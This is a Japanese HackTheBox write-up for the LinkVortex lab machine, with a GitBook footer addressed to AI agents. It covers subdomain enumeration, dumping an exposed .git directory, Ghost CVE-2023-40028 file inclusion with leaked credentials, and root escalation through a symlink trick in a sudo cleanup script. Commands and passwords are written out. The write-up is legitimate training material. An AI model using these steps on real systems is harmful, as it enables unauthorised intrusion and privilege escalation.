> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# LinkVortex HackTheBox攻略記事

.gitディレクトリからの情報抽出（Git-Dumper）、情報漏えい、LFI悪用（Ghost）を扱うLinkVortex HackTheBox Easy Linuxマシンの攻略記事。実践的な

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**スキル:**

* サブドメイン列挙
* .git ディレクトリからの情報抽出（Git-Dumper）
* 情報漏えい
* LFIの悪用（Ghost）
* スクリプト経由でのSudo権限の悪用（ダブル・シンボリックリンク）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff873e07b2313adb658d44b8b071a3aabb47d99b%2Fimage%20(2594).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2897b84478236f0639384e4f8db48a39edaae9e%2Fimage%20(2595).png?alt=media" alt=""><figcaption></figcaption></figure>

**/etc/hosts ファイルの設定**

ターゲットのIPアドレスを私たちの `/etc/hosts` ファイルに追加して、ローカルDNS解決を容易にする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768ba0fa285cb4bbd76c1b041f403965292a2836%2Fimage%20(2596).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f9c90824234f04deaa7f7e812a103aba1ea2a24%2Fimage%20(2597).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd8fc449de2b9be4939a3ba4bdfb4bb62f50abc%2Fimage%20(2598).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ポート80**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340be5e2088039dbcf398cfcf91eef805b8640b1%2F%7BE29B337D-5425-4FF6-BD1D-313C611421AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a42d816985d356a41ebf770b2b58a6db97eaa7%2F%7B22282BA5-7486-47EC-9FE7-8279FB952AF9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **ディレクトリ列挙**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266dbf27ce7ad190e2da5f94d2a1449d6bde7e4%2Fimage%20(2599).png?alt=media" alt=""><figcaption></figcaption></figure>

### 管理パネル - Ghost

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-041734ad071450f0fa7c843c3447e76de8f09484%2F%7BBF446D05-0595-411B-B871-916B470B3D1C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **サブドメインの発見**

私たちは関連するサブドメインを探します `linkvortex.htb` を gobuster を使って。

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

次のサブドメインを見つけます `dev.linkvortex.htb`。検索を実行するコマンドは以下のとおりです：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-754fecf2654d67b5d41a76bcf30d1c4b007443da%2Fimage%20(2600).png?alt=media" alt=""><figcaption></figcaption></figure>

サブドメインが見つかったら、アクセスしやすくするために `/etc/hosts` ファイルに追加します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db733d6a09ce305e8f9a8e724b22ecb3f77855c4%2Fimage%20(2601).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c023a744772b455d4f00c4213c5001857342a4f9%2F%7B51979BBD-7EA9-4B2C-9BE8-B4F0C65F4E51%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **新しいサブドメインでのディレクトリ探索**

対象の `dev.linkvortex.htb` サブドメイン上に存在するディレクトリを `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

見つけたのは `.git` ディレクトリで、公開された Git リポジトリの可能性があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90f3b459e7d93e727d83e7f97dceb1e9c9d019cf%2Fimage%20(2602).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91be5112b3649a9047b75647526acf110135e47f%2Fimage%20(2603).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Git-Dumperによるファイル抽出**

私たちは `git-dumper` ツールを使って `.git` ディレクトリからファイルを抽出し、解析します：

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93332b66c3140b6ac3a69cd337ada6cf5848a556%2Fimage%20(2604).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74a3753bd14aa3fe41ac6d392579e4590dbb66a7%2Fimage%20(2605).png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、機密性の高いファイルを入手できます。たとえば、以下にあるテストファイルなどです `ghost/core/test/regression/api/admin/authentication.test.js`、そこにパスワードを見つけます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76f51d78125a92e1fef63855476b202cbbf81d20%2Fimage%20(2606).png?alt=media" alt=""><figcaption></figcaption></figure>

**見つかったパスワード：**

```parser
OctopiFociPilfer45
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a0cc89d577342f9112e0f875c9583d80e01fd39%2Fimage%20(2607).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ghost管理パネルへのログイン**

このパスワードを使って、Ghostの管理パネルへの接続を試みます。 `admin@linkvortex.htb` のメールアドレスを使用して：

* **メールアドレス** : `admin@linkvortex.htb`
* **パスワード**: `OctopiFociPilfer45`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea53ab91ab21b68fcfc1887972577d518ef00227%2Fimage%20(2608).png?alt=media" alt=""><figcaption></figcaption></figure>

## GHostの脆弱性 - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-556de5aaad732e511fd1096e472cd92307118c8f%2Fimage%20(2609).png?alt=media" alt=""><figcaption></figcaption></figure>

> ポートスキャン中に、使用されているGhostのバージョン（v5.58）がLFI（Local File Inclusion）脆弱性、CVE-2023-40028に対して脆弱であることを確認しました。この脆弱性を悪用するために、エクスプロイトスクリプトをダウンロードし、対象URLを自分たちのGhostインスタンスに向けるよう修正します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba48cb724ac5e32e928d93b94e8a624c763d553%2Fimage%20(2610).png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトを実行するコマンドは以下のとおりです：

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

その後シェルを取得でき、次のようなファイルを表示できます `/etc/passwd`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1dd2cc955b6f5f261a3b15ae3fc71736f445677%2F%7B4FD8233F-F945-4791-8BDA-22CBE8CD9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**LFIによる内部ルートへのアクセス**

その `.git` ディレクトリで、セッションにアクセスするための内部ルートを提供するDockerファイルを見つけました： `/var/lib/ghost/config.production.json`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfca1aa90d3bc64cadeb721d81f527d0835d2f9%2Fimage%20(2611).png?alt=media" alt=""><figcaption></figcaption></figure>

LFIを使ってファイルを列挙し、Bobというユーザーの認証情報を見つけます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21bed3c084bcac4e0e76c7d47e86d15de379ddf6%2Fimage%20(2612).png?alt=media" alt=""><figcaption></figcaption></figure>

**Bobの認証情報：**

* **ユーザー**: `bob@linkvortex.htb`
* **パスワード**: `fibber-talented-worth`

Bobの認証情報を使って、SSH経由でターゲットマシンに接続します：

### フラグ user.txt :)

パスワード `fibber-talented-worth` を使ってログインし、ファイルにアクセスします `user.txt`、そこにフラグがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcfeecc85c6fba7b0d98d4039012c688292be1ba%2Fimage%20(2613).png?alt=media" alt=""><figcaption></figcaption></figure>

## root.txt フラグ :)

### SUDO - Clean/\_synLink.sh

権限昇格につながる脆弱性を探しています。SUID権限を持つファイルを見つけました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec24ae5499df8ac352b86950f56d0ff81f8aaa9f%2Fimage%20(2615).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **シンボリックリンククリーンアップスクリプトの解析**

> という名前のスクリプトを解析します `clean_symlink.sh`。これは、引数として渡されたファイルが `.png` ファイルを指すシンボリックリンクかどうかを確認します。シンボリックリンクが重要なファイルを指している場合、スクリプトはそれを削除します。そうでなければ、シンボリックリンクを `/var/quarantined/` ディレクトリへ移動します。 `CHECK_CONTENT` 環境変数が `true`に設定されている場合、スクリプトはファイルの内容を読み取ろうとします。

悪用に必要なシンボリックリンクを作成するコマンドは以下のとおりです：

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

その後、rootフラグを取得するために次のコマンドでスクリプトを実行します：

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

こうして私たちは `root.txt` フラグを入手します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d510c3b8a79e2f856beb8e60ce573f331bee991c%2Fimage%20(2616).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f12cffa0209b5fca2a9f9e3bcbd63ce191f0408c%2F%7BF6BA10D9-BB8B-4665-82C3-C660B5632C82%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
